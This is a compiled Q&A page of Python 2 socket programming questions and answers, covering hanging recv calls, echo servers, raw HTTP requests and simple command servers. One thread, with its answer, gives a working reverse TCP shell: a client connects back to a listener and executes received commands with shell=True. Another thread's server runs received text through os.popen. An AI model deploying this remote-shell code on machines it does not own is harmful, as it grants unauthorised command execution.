Python could not receive from server after sending message over - python

I am currently working on my assignment and I am using python socket to connect through terminal. However, I encountered a problem where after I send my message to the server and try to receive its reply, it kind of hangs. My codes are as follows:
import socket
import sys
import md5
import re
hostname = "cs2107.spro.ink"
ip = socket.gethostbyname(hostname)
port = 9000
server_address = (ip, port)
bufferSize = 1024
# Socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print >>sys.stderr, 'connecting to %s port %s' % server_address
s.connect((ip, port))
try:
while True:
data = s.recv(bufferSize)
if not data:
break
print data
regex = re.compile(r'\n([0-9a-fA-F]+)(?:\n)', re.I | re.S | re.M)
checkHex = re.findall(regex, data)
if len(checkHex) != 0:
receiveHex = str(checkHex).strip("['']")
decode = receiveHex.decode()
m = md5.new()
m.update(decode)
hexReply = m.hexdigest()
s.sendall(hexReply.encode())
print hexReply
finally:
print >>sys.stderr, 'closing socket.....'
s.close()
The output is shown in the link: output. After I kill it, it says the most recent call is `data = s.recv(bufferSize) link: after killing the terminal. Anyone have any idea how to solve this? Appreciate your help!

The line s.recv(bufferSize) is still waiting for some incoming data from the server. However the server sends nothing more than what you see. Try to reply to the server with your hexReply variable and see what happens. Just insert s.send(hexReply + "\r\n") after the print statement.

Related

How to fix broken pipe in Chat server using socket in Python after first request?

I am playing with socket and tried to create simple chat server with only one client connection. Code and output as follows.
echo_server.py
import socket
host = ''
port = 4538
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
print "Starting Server"
while 1:
client, address = s.accept()
try:
data = client.recv(size)
if data is not None:
if data is 'q':
print "I received request to close the connection"
client.send('q')
continue
print "I got this from client {}".format(data)
client.send(data)
continue
if data == 0:
client.close()
finally:
client.close()
echo_client.py
import socket
host = ''
port = 4538
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
try:
while 1:
message = filename = raw_input('Enter a your message: ')
s.send(message)
data = s.recv(1024)
if data is 'q':
print "You requested to close the connection"
break
print "Received from socket {}".format(data)
finally:
s.close()
Now, I had tried with sendall() too but it doesn't work. Following is the output on both sides
client:
Enter a your message: hello
Received from socket hello
Enter a your message: world
Received from socket
Enter a your message: hi
Traceback (most recent call last):
File "echo_client.py", line 12, in <module>
s.send(message)
socket.error: [Errno 32] Broken pipe
And on server
Starting Server
I got this from client hello
As you can see, the server doesn't get the second message(world). And replies with nothing and when I send third request to server with hi, client terminates with Broken Pipe
How do I go about fixing it?
EDIT 1:
I changed the code now it's following. The s.accept() gets stuck in second request. Following is the code.
echo_server.py
import socket
host = ''
port = 4538
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
print "Starting Server"
try:
while 1:
print "BEFORE REQUEST"
client, address = s.accept()
print "AFTER REQUEST"
data = client.recv(size)
if data:
if data is 'q':
print "I received request to close the connection"
client.send('q')
print "I got this from client {}".format(data)
client.send(data)
else:
print "CLOSING IN ELSE"
client.close()
except:
print "CLOSING IN except"
client.close()
Following is the output.
BEFORE REQUEST
AFTER REQUEST
I got this from client hello
BEFORE REQUEST
As you can see for the second time accept() never returns. How to make it working?
recv returns empty string when the client is closes the connection, not None or 0. Since empty string is a False condition, simply use if data: or if not data:.
And, as #JonClements pointed out, use an except instead of a finally in the server, or put the while inside the try and if not data: break to exit the while and execute the finally.

Python Socket programming: Post sentence - Info not reaching to web server?

So i got to the web-server and i can display the info with the next code
#!/usr/bin/env python
import socket
import sys
HOST = 'www.inf.utfsm.cl'
GET = '/~mvaras/tarea1.php'
UA = 'tarea1'
PORT = 80
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(1)
try:
sock.connect((HOST, PORT))
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(2)
sock.send("GET %s HTTP/1.1\r\nHost: %s\r\n\r\nUser-Agent: %s\r\n\r\n" % (GET, HOST, UA))
sock.send("POST Alexis Ahumada 17536441-2HTTP/1.1\r\n\r\nUser-Agent: tarea1\r\n\r\n")
data = sock.recv(1024)
string = ""
while len(data):
string = string + data
data = sock.recv(1024)
sock.close()
print string
sys.exit(0)
but the thing is the info i send (Alexis Ahumada 17536441-2) never writes on the server log (www.inf.utfsm.cl/~mvaras/tarea1.log) i'd want to know what i'm doing wrong. Any help is greatly appreciated i've really looked everywhere by now :(
change
TCP_IP = ('http://www.inf.utfsm.cl/~mvaras/tarea1.php')
to
TCP_IP = 'www.inf.utfsm.cl'
and then you will need send a HTTP request for "~mvaras/tarea1.php"
The trouble is that you are trying to communicate in the HTTP protocol over a TCP connection - HTTP is a much higher level protocol.
instead of using socket you need to use the requests library for this.

TCP Server not receiving anything after initial connection. Python

So, I've been experimenting with Python's socket module and I've created a simple TCP client/server setup. Everything's running on the same system (Win7x64), on the ip 192.168.1.3
Here's the client (It's a reverse TCP connection):
import socket, subprocess, time
me = '192.168.1.3'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((me, port))
break
except:
time.sleep(1)
s.send('[*] Connected!')
while True:
data = s.recv(1024)
output = subprocess.check_output(data, shell=True)
s.send(output)
s.close()
Here's the server:
import socket
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
#client.close()
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
Here's the output that I receive on the server:
Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*
And then it just hangs there. No matter what I get the client to send, it just won't receive it. The commands are successful on the client's side but the output isn't sent back.
Halp?
Edit: I've managed to get the output of the command received by the server once by encasing the stuff in the function in a loop:
def handler(client):
while True:
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
So, if I send a dir command, I receive an output once. But on trying to send another command, I get this:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\Jami\Documents\Awn\Eclipse USB Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine
EDIT:
Can someone recommend an alternative method? What I want to do, is for the server to 1. send a command to the client, 2. the client to execute it and 3. send the output back and 4. the output to be received by the server. And for this to carry on until it's stopped by the user.
TCP is a streaming protocol. Therefore you need some kind of message format for communication. Second, you need a loop, to send commands and read the result. On client side, you also need some kind of message protocol to send the results. I've use json encoded strings and new line as end-of-message character.
The server:
import socket
import threading
import json
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
print 'Recieved: %s' % client
sock_input = client.makefile('r')
while True:
command = raw_input('> ')
if command == 'exit':
break
print 'Sending: %s' % command
client.sendall(command + '\n')
print json.loads(next(sock_input))
client.close()
def main():
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
if __name__ == '__main__':
main()
The client:
import socket
import subprocess
import time
import json
me = 'localhost'
port = 1332
def main():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((me, port))
break
except Exception, e:
print e
time.sleep(1)
sock_input = s.makefile('r')
for command in sock_input:
try:
output = subprocess.check_output(command, shell=True)
except:
output = 'Could not execute.'
s.sendall(json.dumps(output)+'\n')
s.close()
if __name__ == '__main__':
main()
Shashank is right, once it has received data once, it gets back to the accept loop.
If you want to keep receiving for this client while accepting new connections you should consider creating a thread which will handle the connection, and then keep accepting new ones in your main.

IOS smallSocket and python

I'm working on an IOS app.
I'm starting with a python server on mac that should connect to an iphone and print data sent from iphone.
the connection seems to be established but python print infinite " b " " as data... I don't know why.
the strange thing is that it happens also with cocoaAsynchronousSocket
this is the server
#!/usr/bin/python
import time
import socket
import sys
addr = sys.argv[1]
port = 4444
if not addr :
print ("No host address specified, plese specify an address", files=sys.stderr)
sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
print ("connecting...")
try:
sock.connect ((addr, port))
except socket.error:
print ("unable to connect to", addr)
sys.exit(0)
print ("Connected to", addr)
while 1:
data = sock.recv(0)
data2 = sock.recv(1)
# if not data: break
print (data)
print (data2)
and this is some code that i use to create the connection
- (IBAction)openPressed:(id)sender {
socket = [Socket socket];
[socket listenOnPort:4444];
[socket acceptConnection];
[socket writeString:#"connection accepted"];
}
Why did u add this line:
data = sock.recv(0)
Besides that, your sever, while client might be a better name, seems good.
If it doesn't print what you expect, I suggest that you use some sniffer tools, like wireshark, to check what it really receives.

Python - Server and client problems

I'm trying to create a basic server and client script. The idea is that the client can connect to the server and execute commands. Kinda like SSH but very simple. Heres my server code:
import sys, os, socket
host = ''
port = 50103
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
print("Server started on port: ", port)
s.listen(1)
while (1):
conn, addr = s.accept()
print 'New connection from ', addr
try:
while True:
rc = conn.recv(2)
pipe = os.popen(rc)
rl = pipe.readlines()
fl = conn.makefile('w', 0)
fl.writelines(rl[:-1])
fl.close()
except IOError:
conn.close()
And here is my client:
import sys, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = 'localhost'
port = input('Port: ')
s.connect((host, port))
while (1):
cmd = raw_input('$ ')
s.send(cmd)
file = s.makefile('r', 0)
sys.stdout.writelines(file.readlines())
file.close()
Here is my problem. I start the server and then run the client on the same machine. I enter the port and connect. Then I get the raw_input which is the '$'. If I type a command like 'ls' it just hangs on the client side. I have to exit the server for the client to receive the output of ls. By the way I am running Ubuntu Linux. Not sure if that matters.
When you makefile() on the socket and then use readlines() on it, it will continue until you reach an end of file, which in the socket case is that it closed from the other end.
Using makefile() in this case makes no sense to me, especially since you create it and close it after each command. Just use send() and recv() on both ends.
You probably also want to have some sort of actual "protocol" so the server tells the client "HERE COMES A RESPONSE" and "THIS IS THE END OF THE RESPONSE" so that the client knows. Otherwise it gets hard to know when to stop waiting for more response. :)
Update with an example that works:
server.py:
import sys, os, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 50500))
print("Server started")
s.listen(1)
while True:
print "Accepting"
conn, addr = s.accept()
print 'New connection from ', addr
while True:
try:
rc = conn.recv(1024)
print "Command", rc
if not rc.strip():
continue
if rc.strip() == 'END':
print "Close"
conn.send("**END**")
conn.close()
break
else:
conn.send("This is the result of command %s\n" % rc)
except Exception:
conn.close()
sys.exit()
client.py
import sys, os, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 50500))
while True:
cmd = raw_input('$ ')
s.send(cmd)
result = s.recv(1024)
print result
if result == "**END**":
print "Ending"
break
Well for one thing you're only connecting on the client once and on the server you're closing the socket after every read.
You should take a look at this example.
http://ilab.cs.byu.edu/python/socket/echoserver.html
You're doing quite a few things incorrectly.

Categories